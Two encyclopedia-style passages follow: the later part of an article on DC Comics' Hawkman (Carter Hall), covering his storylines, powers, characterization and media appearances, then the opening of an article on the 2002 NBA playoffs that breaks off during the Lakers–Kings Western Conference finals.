After that, it is stated Katar Hol's soul has passed on from the realm of limbo, as have his memories that existed in Carter's mind. Despite this, Carter still exists in a reconstructed version of Katar Hol's body. In a Hawkman Special published in August 2008, the mysterious being called Demiurge tells Carter Hall his previous existence as Prince Khufu is an illusion. As Demiurge departs, he calls Hawkman "Katar Hol", indicating Hawkman is Katar Hol, who believed he was Carter Hall.
Hall briefly assists the Justice League during their battle with the Shadow Cabinet by knocking out Hardware as he tried to flee from the JLA Watchtower with Arthur Light's corpse. In the aftermath of the battle, Carter reunites with Kendra after her relationship with Red Arrow ends.
Final Crisis
During the Final Crisis crossover event, Hawkman and all of the other heroes fight to stop Darkseid from destroying the DC Multiverse. In an attempt to save civilians, Checkmate creates a dimensional tunnel between universes. It begins breaking down and Lord Eye tries to close it, which will kill all the people who are still in the tunnel. Hawkman and Hawkgirl destroy Lord Eye but are caught in the explosion. All of the other people are safely transported via a second Boom Tube. This fulfills the prophecy of the Demiurge. While it is implied Hawkman and Hawkgirl are dead, author Geoff Johns has stated they are alive at the beginning of the upcoming event, the Blackest Night. It is later confirmed in Justice League of America Hawkgirl is alive but is hospitalized.
Blackest Night
In Blackest Night #1, Kendra argues with Hawkman over whether to visit Jean Loring's grave with the Atom. As the two heroes quarrel, the reanimated corpses of Ralph and Sue Dibny, who are now members of the Black Lantern Corps, enter Hawkman's sanctuary. The Black Lanterns attack, Sue impaling Hawkgirl on a spear. Ralph taunts Hawkman, who is killed shortly afterwards. Both heroes are reanimated as Black Lanterns by Black Hand.
It was also revealed in Green Lantern (vol. 4) #46 Khufu's and Chay-Ara's bodies were taken from Earth by the Zamarons and placed in the violet central power battery. Their love is the source of the Star Sapphire's powers. The pair receive black rings during the battle on Zamaron. Their escape from the central power battery causes widespread destruction on the planet.
During the battle at Coast City, the Atom is chosen by the Indigo Tribe to be more effective against Nekron's forces. The Atom tells Indigo-1 to keep his involvement in the deployment of the troops a secret, and asks that she help him find a way to resurrect Hawkman and Hawkgirl. In the final battle, Hawkman and Hawkgirl are resurrected by the white light. Kendra is revealed to be Shiera Hall, who remembers her past lives; she and Carter joyfully reunite.
Brightest Day
In the Brightest Day crossover event, Carter and Shiera follow Hath-Set, who has collected the bones from all of their past bodies, and created from them a portal to Hawkworld. While there, Carter is told by the Entity to "stop the Queen Khea" from leaving. While Hawkgirl is held by Hath-Set and his Queen Khea, Hawkman and his group of the panthera attack the Manhawks homeworld. Hawkman hears Hawkgirl's cries and goes to rescue her. His arrival leads to a confrontation with Queen Khea, who is Shiera Hall's mother. During the fight, Queen Khea controls his Nth metal mace and armor, and Hawkman is tied together with Hawkgirl. Queen Khea opens a gateway and enters the portal to the Zamaron homeworld. When she arrives on the Zamaron homeworld, Star Sapphire (Carol Ferris) frees them both to stop Queen Khea's invasion. The two attack Queen Khea as Hawkgirl wants to face her, but the Predator Entity bonds with the Queen.
Shiera and Carter separate both of them by stabbing Khea at the same time with weapons made of Zamaronian crystals. The bones of the past lives of Hawkman and Hawkgirl separate from the gateway. Animated by the violet light of love, the bones grab Khea and imprison her in the Zamaronian central power battery. Shiera and Carter, with both of their missions accomplished and their lives returned, are teleported back to St. Roch by Carol. Carter and Shiera are interrupted by Deadman, whose white ring tells them that they should lead separate lives. Carter refuses and the ring responds "So be it" and unleashes a blast of white light that kills Hawkman and Hawkgirl, turning them into dust. Deadman orders the ring to resurrect Hawkman and Hawkgirl but it refuses, saying Hawkman was brought back to life to overcome what held him back in his past life because he was essential in saving Earth.
When the "Dark Avatar" makes his presence known, Hawkman and Hawkgirl are revealed to be part of the Elementals, guardians of the forest located in Star City. They were transformed by the Entity to become the element of air and protect the Star City forest from the "Dark Avatar", which appears to be the Black Lantern version of the Swamp Thing. The Elementals are then fused with Alec Holland's body so he can be transformed by the Entity into the new Swamp Thing and battle against the Dark Avatar. After the Dark Avatar is defeated, Hawkman discovers Sheira was not resurrected. Swamp Thing tells him Shiera is everywhere, revealing that she is still the elemental of air. Afterward, Hawkman returns home yelling "Shiera!"
The New 52
In September 2011, The New 52 rebooted DC's continuity. In this new timeline, Hall tries to rid himself of his Hawkman armor by burning and burying it in a forest. However, the Nth metal suit re-bonds with him, preventing Hall from escaping his life as Hawkman. It is later revealed the current Hawkman is actually Katar Hol, with "Carter Hall" being an assumed identity.
DC Rebirth
The real Carter Hall returns as Hawkman to the DC Universe in Dark Days: The Forge. His origin as a pharaoh who is constantly being reincarnated is used for the character. Carter Hall is an archaeologist who is researching the origin of Nth metal and the powers it gives him. At some point, Carter encountered Barbatos and hit him with his mace. When the aged Batman and Superman arrive at the World Forge, they are met by a gigantic, hammer-wielding, hawk-like beast that proclaims it is Carter Hall, the dragon of Barbatos and Keeper of the Dark Forge, and that only endings are at the World Forge.
A new Hawkman series was announced in March 2017; it was written by Robert Venditti and illustrated by Bryan Hitch. The book explores Carter Hall's experiences after the events of Dark Nights: Metal and his relationship to Hawkgirl.
The comic's first arc deals with Hall, who believes there are gaps in the memories of his past lives. He recovers a mystical artifact that allows him to unlock all of his memories. He becomes aware of multiple incarnations of himself, which include Katar Hol, and has a vision of a future Earth that has destroyed by gigantic, winged creatures that are later revealed to be spaceships known as the Deathbringers. Hall deduces his first human incarnation Prince Khufu had the same vision, resulting in a winged figure becoming an important symbol throughout his life.
Carter Hall also discovers he has also lived multiple lives on alien worlds, and that on at least one occasion, two or more of his reincarnations have existed simultaneously. The other lives revealed are:
Katar Hol of Thanagar
Catar-Ol of Krypton
Golden Hawk, a legendary hero of an unnamed planet destroyed by the returning Deathbringers
Avion, an ancient hero of the Microverse
The Dragon of Barbatos
Airwing of New Genesis
Katarthul of Rann
Red Harrier
Sky Tyrant of Earth-3
Titan Hawk
His lives throughout Earth's history include:
Prince Khufu, the Ancient Egyptian warrior prince.
Silent Knight, a medieval hero.
Birdman, of the Easter Islands.
Dr. Carlo Salón, a plague doctor in 17th Century Spain.
Nighthawk, the gunslinging western hero.
Carter Hall, the Golden-age version from WWII who was a member of the Justice Society of America
He also spent centuries being reincarnated on the planet Nebulen, which was being fought over by two alien armies in a seemingly endless war. Hawkman was endlessly reincarnated as a common foot soldier, alternately being part of each side. He eventually ends the war by walking into the no-man's land alone and unarmed, offering his food to the opposing side. A redheaded female enemy soldier, potentially a reincarnation of Hawkgirl, leaves her trenches to meet with him and exchange food. Both sides then abandoned the conflict and made peace, deserting en masse to settle together on Nebulen, which grows into an advanced and peaceful society. A statue memorializes the anonymous soldier whose gesture of peace ended the war.
With the aid of the descendants of people he saved in previous lives, Carter begins following a trail of clues left by his past selves to uncover the mystery of his vision, while also being randomly being pulled through time and space by unknown means to encounter his past selves. This journey leads him to the Microverse and into deep space. He deduces his past selves knew the purpose of the visions of the Deathbringers and realized they were starting to forget, and therefore left the trail for their future incarnations.
Carter experiences a vision of his original incarnation, Ktar Deathbringer, who was general of the Deathbringers, a race of winged, humanoid aliens who cut a swathe through the galaxy in the distant past, slaughtering millions on Earth, Rann, Thanagar, Krypton, and many others. The Deathbringers would sacrifice the few survivors on their temple world Qgga to a being known as the "Lord Beyond the Void". At each battlefield, Ktar would be visited by an apparition of a red-haired woman, who later revealed to be the Herald Shrra, the original incarnation of Hawkwoman. With each slaughter, his guilt and self-loathing grow. On Qgga, while preparing the final sacrifice that would allow the Lord to enter the universe, Ktar is visited by the woman again and turnsw on the Deathbringers, destroying Qgga and sending the Deathbringers into the void. Upon his death, Ktar is offered a chance to atone by endlessly reincarnating, only being allowed to finally pass on when he had saved as many people as he had killed. He is also ordered to prepare for the return of the Deathbringers, who are shown to be active in the galaxy under the leadership of Idamm, Ktar's long-term second in command.
Carter's search ends at the former site of Krypton. He is transported through time to Krypton's last day and encounters his past self Catar-Ol, a historian and tutor to Kara Zor-El, the future Supergirl. Unlike other reincarnations, Catar also possesses past life memories and is aware of the Deathbringers. He is working to build a weapon to defeat the Deathbringers, to which the trail of clues lead, but he is unable to complete it before Krypton's destruction. Carter is disheartened but Catar encourages him to find another way to save Earth, telling him he must "be the weapon". Carter returns to Earth and seeks help from Madame Xanadu. The Deathbringers attack London and Idamm personally engages Carter. Carter beats Idamm in single combat but is overwhelmed by the numbers of the Deathbringers. Taking control of the timeshifts, Carter summons all of his past selves to the present to aid him in the battle. The Hawkmen put up a valiant fight but the Deathbringers are revealed to be immortal and seemingly unbeatable.
Idamm orders the planet destroyed but Carter rallies the Hawkmen to attack the Deathbringer's ships, disabling their weapons. Meanwhile, Carter duels with Idamm again. Carter beats Idamm down. Idamm eventually yields and surrenders the role of general to Carter, who orders the Deathbringers to stand down. Before returning to their proper places in the timestream, the other Hawkmen transfer their memories to Hall, allowing him to remember his full history for the first time.
Carter discovered another of his past lives in the form of Sky Tyrant, who was Carter Hall's reincarnation on Earth-3 and learned about his origins as Ktar Deathbringer and the debt he must pay. Sky Tyrant is afraid of dying and decides to prolong his 'immortality' and add to the debt by killing people on his Earth. After dying, Sky Tyrant is locked away in Carter's subconscious until the latter is infected by the Batman Who Laughs and a recent encounter with Shadow Thief caused Sky Tyrant to reemerge and trap Carter in his own consciousness. Sky Tyrant is confronted by Shayera Hol/Hawkwoman but soon escapes before she can defeat him. Using their shared consciousness, Sky Tyrant wishes to learn more about their history through the secret Black Journal.
Hawkwoman teams up with Carter's old friends the Atom and Adam Strange to capture and cure Carter of his infection. They catch up to Sky Tyrant on an alien world where one of his previous incarnations named Titan Hawk has hidden an artifact known as "The Key", which would have released the Lord Beyond the Void. They recover the Key and imprison Sky Tyrant on Carter's starship. When she touches the Key, her memories of all her past lives are unlocked. Sky Tyrant escapes from his cell and brawls with the three heroes; he and Shayera touch the Key together and are transported to the realm of the Lord Beyond the Void. Carter is cured of his infection. The pair are attacked by Deathbringers who recognize Carter as Ktar. Although the Deathbringers are defeated, they draw the attention of the Lord Beyond the Void.
The Lord easily overpowers them and binds them to a stone monolith, planning to absorb the energy from all of their lives, which will give him sufficient power to cross over into the universe. Carter and Shayera release the power of their thousands of lives, overloading and destroying the Lord while killing themselves. They awake in the afterlife, reverted to Ktar and Shrra. The deity explains Ktar's debt is repaid and offers to allow them to be reincarnated a final time in their favourite lives, where they will be extremely long-lived but mortal. The two agree and are restored to life in the 1940s as the Golden Age Hawkman and Hawkgirl, and reunite with their old friends in the Justice Society of America.
During a fight with the Injustice Society, Carter freezes with fear at a moment when the villains have the upper hand. Shayera throws her mace into Carter's, creating an explosion that incapacitates the Injustice Society. The JSA assumes Carter is providing a distraction for Shayera but he admits to her now he is mortal, he fears dying. Anton Hastor, an incarnation of the Hawks' ancient enemy Hath-Set, learns Prince Khufu and Chay-Ara have been reincarnated, and that they can be killed permanently. Hastor steals his Nth Metal dagger from JSA headquarters and draws the Hawks out to a train, where he has killed the passengers and resurrected them as zombies. Shayera is tackled off the train by zombies while Hastor attacks Carter, who is too fearful to fight back until Hastor threatens Shayera. Carter disarms Hastor by stabbing himself with the dagger as Shayera catches up to the train and destroys the dagger while Hastor falls to his death. In the 40th century, Hawkman and Hawkwoman are greatly aged and scarred but still alive as Hawkman finishes writing his story.
In the Watchmen sequel Doomsday Clock, Lois Lane finds a flash drive while at the Daily Planet. It shows her footage of Hawkman and the rest of the Justice Society.
In the pages of "The New Golden Age", Hawkman was among the Justice Society members partaking in a group photo. When the Helmet of Fate started heating up after Doctor Fate has a vision of "lost children", Hawkman and Atom had to get the Helmet of Fate off him. When a Huntress from a possible future ends up in 1940, Hawkman is among the Justice Society members that meet him. As Doctor Fate tries to read Huntress' mind to learn about the threat in her future, Hawkman is among those that are knocked down by the magical feedback.
Skills, abilities and equipment
The Nth metal in Hawkman's wings, belt, harness, and boots is controlled mentally and allows him to defy gravity. His wings allow him to control flight though they can be flapped through use of shoulder motions.
Hall's Nth metal also enhances his strength and eyesight, speeds healing, and regulates body temperature, preventing the need for heavy protective clothing while flying at high altitudes. Nth metal is known to affect electromagnetism as well as the strong and weak nuclear forces. It is also mentioned in Hawkman: Secret Files and Origins #1 (2002) that Nth metal has other unknown powers.
Due to his multiple incarnations and having the memories of all of them, Khufu/Hall is an expert with a wide array of archaic weapons from his past lives, including battle axes, maces, swords, spears, and shields. As Nighthawk, he was a marksman with a pistol. Carter Hall is sometimes depicted handling futuristic technology. He has used a Thanagarian ship called "The Brontadon" and during the Rann-Thanagar War used Rannian hard-light armor. Hawkman is depicted using technologically advanced laser weaponry in a possible future (Hawkman (vol. 4) #9). Reincarnation has also given Hawkman knowledge of hundreds of languages.
As a result of his many lives and vast amount of experience, Hall is a brilliant tactician, fierce warrior, and strong leader. During the Public Enemies story arc in the Superman/Batman series, he was selected as the perfect hero to confront Batman with the advantage of his flight and strength but otherwise being Batman's equal. He is extremely intelligent and expresses a deeply romantic side towards his beloved soulmate.
For a brief time during "DC Rebirth" through a combination of the Nth Metals properties and his own cycle of reincarnation. Carter was able to summon an army of alt. selves whose lives he'd lived via reincarnation across Time & space.
Characterization
Hawkman has been characterized in comics as having a quick, fierce temper with adamant views and opinions. Even in the Golden Age, he has no problem blowing up a villain's lair with the villain inside.
Another prominent aspect of his personality is his staunch conservative views; this has brought him into conflict with Green Arrow (a liberal) several times. During the miniseries Identity Crisis, it is revealed the main reason for this animosity is the opposing views he and Green Arrow take on the mindwipe of Doctor Light.
Since his rebirth, that Carter Hall has integrated a lot of Katar Hol into his core being. He looks like a merger of Katar and himself while using the more rugged superhero attire that is a trademark of Katar Hol. Although he has Katar's dark hair, his voice and face appear to be his own as he is easily recognized by Jay Garrick upon return.
Post-Metal, Carter has become a more reserved character, in stark contrast of his personality Pre-Flashpoint. He now shows a deeper understanding of history and spirituality, and more reservation to entering battle, but is still willing to fight.
Other versions
In Mark Waid's Kingdom Come, Carter Hall is portrayed as an anthropomorphized, literal Hawkman, who has become an eco-terrorist in the absence of Superman, wielding a large mace. He dies in a nuclear explosion that kills nearly all the metahumans.
In Tangent Comics (now part of the DC Multiverse as Earth-9) Carter Hall is an architect who attempts to commit suicide, dragging police officer Harvey Dent with him and ultimately triggering Dent's evolution into Superman.
In other media
Television
Live-action
Carter Hall / Hawkman appears in Smallville, portrayed by Michael Shanks. This version is a member of the Justice Society of America (JSA). Introduced in the two-part episode "Absolute Justice", Hall lost his lover Hawkgirl to Icicle several years ago. While seeking revenge, Hall put him in a vegetative state. In the present, Hall joins forces with JSA members Stargirl and Doctor Fate as well as Clark Kent, the Green Arrow, and the Martian Manhunter to fight Icicle's son, Icicle II. In the episode "Icarus", Hall sacrifices himself to defeat Slade Wilson and is buried next to his wife in Egypt.
Carter Hall / Hawkman appears in media set in the Arrowverse, portrayed by Falk Hentschel.
Hall first appears in the crossover event "Heroes Join Forces", in which he and Kendra Saunders meet and join forces with the Green Arrow, the Flash, and their allies to combat Vandal Savage.
Hall appears in Legends of Tomorrow. In the first season, he and Saunders join the Legends to stop Savage, but the former is killed by the immortal, who uses Hall's body to extend his henchmen's lives before the Legends stop him. After Saunders has visions of Hall being reincarnated as one of Savage's soldiers, she eventually succeeds in restoring his memories before they overpower and kill Savage. Following this, the pair leave the Legends in 2016. In the series' 100th episode "wvrdr error 100 oest-of-th3-gs.gid30n not found", the artificial intelligence of the Legends' timeship, Gideon, starts losing her memories. To stop this, Astra Logue and Spooner Cruz use their powers to enter Gideon's mind and help her re-experience memories of past and current Legends members, including Hall.
Carter Hall / Hawkman appears in Stargirl, portrayed by an uncredited actor. This version is a member of the Justice Society of America. In the pilot, 10 years prior to the series, Hall was with the Justice Society when the Injustice Society attacked their headquarters and killed most of their members, with Hawkman being killed by Brainwave.
Animation
Carter Hall / Hawkman, with elements of Katar Hol, appears in Justice League Unlimited, voiced by James Remar. Introduced in the episode "Shadow of the Hawk", this version is an archaeologist who was born under the name Joseph Gardner and, during an expedition in Egypt, found evidence that he and Shayera Hol are reincarnations of a Thanagarian couple who lived in ancient Egypt 8,000 years earlier. Afterwards, he changed his name to Carter Hall and became Hawkman in an attempt to make her love him. Following an encounter with her, Green Lantern, and Shadow Thief, Hall realizes he cannot force Shayera to love him and leaves. Hall later makes a non-speaking cameo appearance in the series finale "Destroyer", helping Earth's heroes fight Darkseid's invasion.
Carter Hall / Hawkman appears in the Batman: The Brave and the Bold episode "The Golden Age of Justice!", voiced by William Katt. This version is a member of an aged Justice Society of America.
Carter Hall / Hawkman appears in DC Super Hero Girls, voiced by Phil LaMarr. This version speaks in a low, growling register and is easily agitated.
Film
Carter Hall / Hawkman appears in the opening credits of Justice League: The New Frontier as a member of the Justice Society of America.
Carter Hall / Hawkman appears in Superman/Batman: Public Enemies, voiced by an uncredited Michael Gough.
Carter Hall appears in the fan film Cooped Up, portrayed again by Falk Hentschel.
An alternate reality incarnation of Carter Hall / Hawkman appears in Justice Society: World War II, voiced by Omid Abtahi. This version hails from Earth-2 and is a founding member of the Justice Society of America, which was active during their Earth's version of the titular war. While assisting the JSA in stopping the Advisor, Hall is killed by the Trench.
Carter Hall / Hawkman appears in Teen Titans Go! & DC Super Hero Girls: Mayhem in the Multiverse, voiced again by Phil LaMarr.
Carter Hall / Hawkman appears in Black Adam, portrayed by Aldis Hodge. This version is the leader of the Justice Society.
Video games
Carter Hall / Hawkman appears as a playable character in Batman: The Brave and the Bold – The Videogame, voiced again by William Katt.
Carter Hall / Hawkman appears as a character summon in Scribblenauts Unmasked: A DC Comics Adventure.
Carter Hall / Hawkman appears as a non-playable character in DC Universe Online, voiced by Jason Liebrecht.
Carter Hall / Hawkman appears in Lego Batman 2: DC Super Heroes, voiced by Troy Baker.
Carter Hall / Hawkman appears as a support card in the mobile version of Injustice: Gods Among Us.
Carter Hall / Hawkman appears in Lego Batman 3: Beyond Gotham, voiced by Travis Willingham.
Miscellaneous
Carter Hall appears in Justice League Adventures #20 as a member of the Justice Society.
See also
Khufu
References
External links
A Comprehensive index of Carter Hall's (Hawkman of Earth-2) appearance through the mid-1980s
Hawkman and Hawkgirl's secret origin on dccomics.com
JSA Fact File: Hawkman
All-American Publications characters
Characters created by Gardner Fox
Characters created by Dennis Neville
Comics characters introduced in 1940
DC Comics American superheroes
DC Comics characters with accelerated healing
DC Comics characters with immortality
DC Comics characters with superhuman senses
DC Comics characters with superhuman strength
DC Comics fantasy characters
DC Comics male superheroes
Earth-Two
Egyptian mythology in comics
Egyptian superheroes
Fiction about reincarnation
Fictional ancient Egyptians
Fictional anthropologists
Fictional archaeologists
Fictional characters with death or rebirth abilities
Fictional clubfighters
Fictional princes
Golden Age superheroes
Hawkman
Wingmen of Thanagar
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https://en.wikipedia.org/wiki/2002%20NBA%20playoffs
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2002 NBA playoffs
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The 2002 NBA playoffs were the postseason tournament of the National Basketball Association's 2001–02 season. This was the final postseason that held a best-of-5 first-round series; the 2003 NBA playoffs saw those series expand to a best-of-7 format. The tournament concluded with the Western Conference champion Los Angeles Lakers defeating the Eastern Conference champion New Jersey Nets 4 games to 0. Shaquille O'Neal was named NBA Finals MVP for the third straight year.
The 2002 playoffs are best remembered for that year's Western Conference Finals between the two-time defending champion Los Angeles Lakers and the Sacramento Kings, which served as the de facto NBA championship, as the Eastern Conference champions, the Nets, were clearly inferior to both teams, and were eventually swept by the Lakers. The matchup between the Lakers and Kings is regarded as one of the most controversial playoff series in NBA history. At the time, there was widespread criticism of the officiating as favoring the Lakers, especially in Game 6. Several years later, disgraced referee Tim Donaghy accused the Game 6 officiating crew of fixing the game, at the behest of the NBA's front office.
Overview
The 2002 NBA Playoffs marked the return of the Boston Celtics, who had last made the playoffs in 1995. In addition, the New Jersey Nets returned to the playoffs for the first time since 1998.
This also marked the last appearance of the Charlotte Hornets in the playoffs until 2010. The Hornets moved the next year to New Orleans, while an expansion team, formerly the Bobcats, was formed in 2004. The Hornets were renamed the Pelicans in 2013, after which the Bobcats reclaimed the Hornets name in 2014. The Hornets also reclaimed the history and records of the 1988–2002 Charlotte teams. In addition, this also marked the last time NBC and TBS aired NBA games as regular TV partners of the league.
The New York Knicks missed the playoffs for the first time in 15 years, while the Miami Heat missed the playoffs for the first time since 1995. With that, Pat Riley missed the playoffs for the first time in his coaching career. Also the Phoenix Suns missed the playoffs for the first time since 1988.
With their first round series win over the Philadelphia 76ers, the Boston Celtics won their first playoff series since 1992.
With their first round series win over the Toronto Raptors, the Detroit Pistons won their first playoff series since 1991.
With their first round series win over the Indiana Pacers, the New Jersey Nets won a playoff series for the first time since 1984.
Game 4 of the Nets–Hornets series was the final NBA game ever played at Charlotte Coliseum.
Game 5 of the Lakers–Spurs series was the last NBA game aired on TBS.
With their conference semifinals victory over the Charlotte Hornets, the New Jersey Nets made the Eastern Conference Finals for the first time in franchise history. It also marked the first time the Nets won a best of seven playoff series in franchise history.
With their conference semifinals victory over the Detroit Pistons, the Boston Celtics made their first Eastern Conference Finals appearance since 1988.
In Game 3 of the Eastern Conference Finals, the Boston Celtics created the biggest 4th quarter playoff comeback in Game 3, winning 94–90 after trailing by as much as 21 prior to the fourth quarter. (This record was later broken by the Los Angeles Clippers, who came back from 24 in the fourth quarter against the Memphis Grizzlies in 2012).
With their Game 6 win over the Boston Celtics, the New Jersey Nets made the NBA Finals for the first time in franchise history, preventing a Celtics–Lakers NBA Finals.
The Lakers’ Game 7 win over the Sacramento Kings marked the first time since 1982 that a road team won a Game 7 in the conference finals.
The 2002 NBA Finals marked the first time since 1995 that a team swept an NBA Finals series.
Game 4 of the NBA Finals was the last telecast on NBC. TBS and NBC were replaced with ESPN and ABC the following season, since both channels are owned by the Walt Disney Company. TBS has aired some NBA basketball in the ensuing years due to conflicts on sister network TNT. The total number of playoff games was 70, including the NBA Finals.
Bracket
Playoff qualifying
Western Conference
Best record in NBA
The Sacramento Kings clinched the best record in the NBA, and earned home court advantage throughout the entire playoffs.
Clinched a playoff berth
The following teams clinched a playoff berth in the West:
Sacramento Kings (61-21, clinched Pacific division)
San Antonio Spurs (58-24, clinched Midwest division)
Los Angeles Lakers (58-24)
Dallas Mavericks (57-25)
Minnesota Timberwolves (50-32)
Portland Trail Blazers (49-33)
Seattle SuperSonics (45-37)
Utah Jazz (44-38)
Eastern Conference
Best record in conference
New Jersey Nets
Clinched a playoff berth
The following teams clinched a playoff berth in the East:
New Jersey Nets (52-30, clinched Atlantic division)
Detroit Pistons (50-32, clinched Central division)
Boston Celtics (49-33)
Charlotte Hornets (44-38)
Orlando Magic (44-38)
Philadelphia 76ers (43-39)
Toronto Raptors (42-40)
Indiana Pacers (42-40)
First round
Eastern Conference first round
(1) New Jersey Nets vs. (8) Indiana Pacers
Although the Nets won the series in 5, it would be most remarkable for more playoff heroics by Reggie Miller; Miller banked in a 40-footer at the buzzer to force OT, and then fly in for a dunk over 3 Net defenders with 3.1 seconds left in the extra session to force the 2nd overtime.
This was the first NBA playoff meeting between the Pacers and the Nets. As members of the ABA, both teams met in the 1972 ABA Finals, where the Pacers won 4–2.
(2) Detroit Pistons vs. (7) Toronto Raptors
This series involved two teams that had exceeded expectations during the season. It was also the first time that professional sports teams from Detroit and Toronto met in a postseason series since the Detroit Red Wings and the Toronto Maple Leafs met in the 1993 Norris Division Semifinals, but no two teams from the two cities have met in a postseason series since. The Detroit Pistons were coming off a year where they had lost 50 games. The Raptors had lost their star forward, Vince Carter, for the remainder of the season. As a result, the Raptors lost 13 straight games without him. Although they looked down and out of playoff contention, the Raptors went on a surge, winning 12 of their last 14 games, locking up the 7th seed. The home team won each game of the series, with the Pistons winning the decisive Game 5 by 3 points. Raptors' Guard, Chris Childs, attempted to draw a foul on a three-point shot, instead of passing it to an open Dell Curry. In the post game interview, Childs stated that he thought the team was down by four points, not three. Detroit advanced to face the Boston Celtics in the second round. Meanwhile, Toronto, with a 39 year old Hakeem Olajuwon playing his final game, was on the couch.
Game 5 is Hakeem Olajuwon's final NBA game.
This was the first playoff meeting between the Pistons and the Raptors.
(3) Boston Celtics vs. (6) Philadelphia 76ers
This series marked the return of the Celtics to the playoffs for the first time in seven years, and they faced the reigning Eastern Conference champion in the first round. The first two games were played in Boston, where the Celtics won both games resoundingly. The 76ers fought back, however, and with Allen Iverson scoring 42 points the 76ers won Game 3 and stayed alive. In Game 4, Iverson was slowed down, scoring 26 points on just 9-of-26 shooting, and Antoine Walker stepped up for the Celtics, scoring 25. But Iverson's play at the end making a layup, scoring off an Eric Snow steal, and hitting some free throws after Walker drilled a three sealed the victory for the 76ers. This set the stage for a Game 5 in Boston to decide the series. The Celtics had control on this game throughout, but the 76ers kept within striking distance into the 4th quarter. But Boston went on an amazing streak of three-pointers, hitting an NBA playoff record nine of them in the 4th quarter and 19 in the game. Paul Pierce led the way with 46, on 8-10 shooting from downtown, and Boston won in a huge blowout, sending them to the conference semifinals to face second-seed Detroit.
This was the 19th playoff meeting between these two teams, with the Celtics winning 10 of the first 18 meetings.
(4) Charlotte Hornets vs. (5) Orlando Magic
Game 4 is Patrick Ewing's final NBA game.
This was the first playoff meeting between the Magic and the Charlotte Hornets/Bobcats franchise.
Western Conference first round
(1) Sacramento Kings vs. (8) Utah Jazz
This was the second playoff meeting between these two teams, with the Jazz winning the first meeting.
(2) San Antonio Spurs vs. (7) Seattle SuperSonics
This was the second playoff meeting between these two teams, with the Spurs winning the first meeting.
(3) Los Angeles Lakers vs. (6) Portland Trail Blazers
The Lakers sweep the Blazers thanks to a series-winning 3 by Robert Horry with 2.1 seconds left in Game 3.
This was the 11th playoff meeting between these two teams, with the Lakers winning eight of the first ten meetings.
(4) Dallas Mavericks vs. (5) Minnesota Timberwolves
Dirk Nowitzki was virtually unstoppable in this series, averaging 33 points and 16 rebounds per game.
This was the first playoff meeting between the Mavericks and the Timberwolves.
Conference semifinals
Eastern Conference semifinals
(1) New Jersey Nets vs. (4) Charlotte Hornets
Game 4 would not only be the last game played at Charlotte Coliseum until 2004 when the Charlotte Bobcats were an expansion team (the Bobcats would make the first of their two only playoff appearances in 2010), but the last playoff game ever played at the arena. Game 5 would also be the Hornets' last playoff game before moving to New Orleans and then being renewed in 2014. They would make the playoffs again in 2016.
This was the first playoff meeting between the Nets and the Hornets.
(2) Detroit Pistons vs. (3) Boston Celtics
This was the seventh playoff meeting between these two teams, with each team winning three series apiece.
Western Conference semifinals
(1) Sacramento Kings vs. (4) Dallas Mavericks
This was the first playoff meeting between the Mavericks and the Kings.
(2) San Antonio Spurs vs. (3) Los Angeles Lakers
The Spurs led going into the fourth quarter of four out of the five games, yet were able to win only one. Bryant would pace Los Angeles to 2 crucial victories in the Alamodome with 31 points in Game 3 and a game-winning bucket in Game 4, and would offset the steady production of Tim Duncan (who had a double double in every game including 34 points and 25 rebounds in Game 5) with his fourth quarter heroics. It would be San Antonio's final 2 home games in the Alamodome, as they would move into the SBC Center (now the AT&T Center) the following year.
This was the eighth playoff meeting between these two teams, with the Lakers winning five of the first seven meetings.
Conference finals
Eastern Conference finals
(1) New Jersey Nets vs. (3) Boston Celtics
The Nets won game one, but Boston came back to steal game two in New Jersey to send the series back to Boston tied 1-1. In Game 3, the Celtics were down by as much as 26 points (21 coming into the 4th quarter), but they accomplished the biggest comeback in NBA Playoff history as the Celtics outscored the Nets 41-16 in the fourth quarter. The Celtics almost completed another comeback in game four, but the Nets held on for the victory to tie the series at two games apiece. The Nets won games five and six to advance to the team's first of two consecutive NBA Finals.
This was the first playoff meeting between the Celtics and the Nets.
Western Conference finals
(1) Sacramento Kings vs. (3) Los Angeles Lakers
The 2002 Western Conference finals is widely regarded as one of the best series in NBA playoff history, with the last four games coming down to the final seconds. Two games were decided on game winning shots and Game 7 was decided in overtime. However, the series was marred by controversy and allegations of corruption. On June 10, 2008, convicted NBA referee Tim Donaghy's attorney filed a court document alleging that Game 6 was fixed by two referees. The letter states that Donaghy "learned from Referee A that Referees A and F wanted to extend the series to seven games. Tim knew Referees A and F to be 'company men', always acting in the interest of the NBA, and that night, it was in the NBA's interest to add another game to the series." The Lakers won Game 6 106-102, attempting 18 more free throws than the Kings in the fourth quarter, and went on to win the series, and eventually the NBA championship. The document claimed that Donaghy told federal agents that in order to increase television ratings and ticket sales, "top executives of the NBA sought to manipulate games using referees". It also said that NBA officials would tell referees to not call technical fouls on certain players, and states that a referee was privately reprimanded by the league for ejecting a star player in the first quarter of a January 2000 game. Stern denied the accusations, calling Donaghy a "singing, cooperating witness".
The Lakers and Kings split the first two games in Sacramento. Los Angeles raced out to a 36-point first quarter in Game 1 behind 67% shooting and never trailed, paced by Kobe Bryant's 30 point effort and 26 points from Shaquille O'Neal. Chris Webber had 28 points and 14 rebounds, but the other Kings combined shot under 40 percent. Sacramento rebounded to win Game 2, paced behind Webber (21 points, 13 rebounds) and Mike Bibby (20 points). O'Neal had 35 points and 13 rebounds, but struggled with foul trouble; Bryant shot 9-for-21 from the field and was suffering from food poisoning which he contracted from a meal at the team hotel, and some felt it was done deliberately by the hotel staff. The loss snapped the NBA record 12-game playoff road winning streak for the Lakers.
The Kings went to Staples Center and dominated Game 3 to regain home-court advantage, leading by as many as 27 and never trailing. They were again paced by Webber and Bibby, who combined for 50 points, and got solid contributions from Doug Christie (17 points, 12 rebounds, 6 assists, 3 steals) and Vlade Divac (11 points, 9 rebounds and 3 blocks). Other than a brief 3-point barrage in the 4th quarter by the Lakers to cut the lead to 12, there was not much help provided for O'Neal, who had 20 points and 19 rebounds.
